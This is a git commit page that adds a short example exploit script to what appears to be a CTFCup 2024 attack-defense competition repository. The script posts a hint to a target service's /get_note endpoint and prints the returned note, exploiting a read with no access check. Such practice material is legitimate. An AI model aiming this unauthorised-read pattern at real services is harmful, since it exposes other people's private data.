adding validated services? patching forcad_local.py
This commit is contained in:
15
ctfcup24-school-ad/sploits/example/unprotected_read.py
Executable file
15
ctfcup24-school-ad/sploits/example/unprotected_read.py
Executable file
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import sys
|
||||
import requests
|
||||
|
||||
ip = sys.argv[1]
|
||||
hint = sys.argv[2]
|
||||
|
||||
url = f"http://{ip}:1337/get_note"
|
||||
|
||||
r = requests.post(url, json={
|
||||
"name": hint,
|
||||
})
|
||||
|
||||
print(r.json()["note"], flush=True)
|
||||
Reference in New Issue
Block a user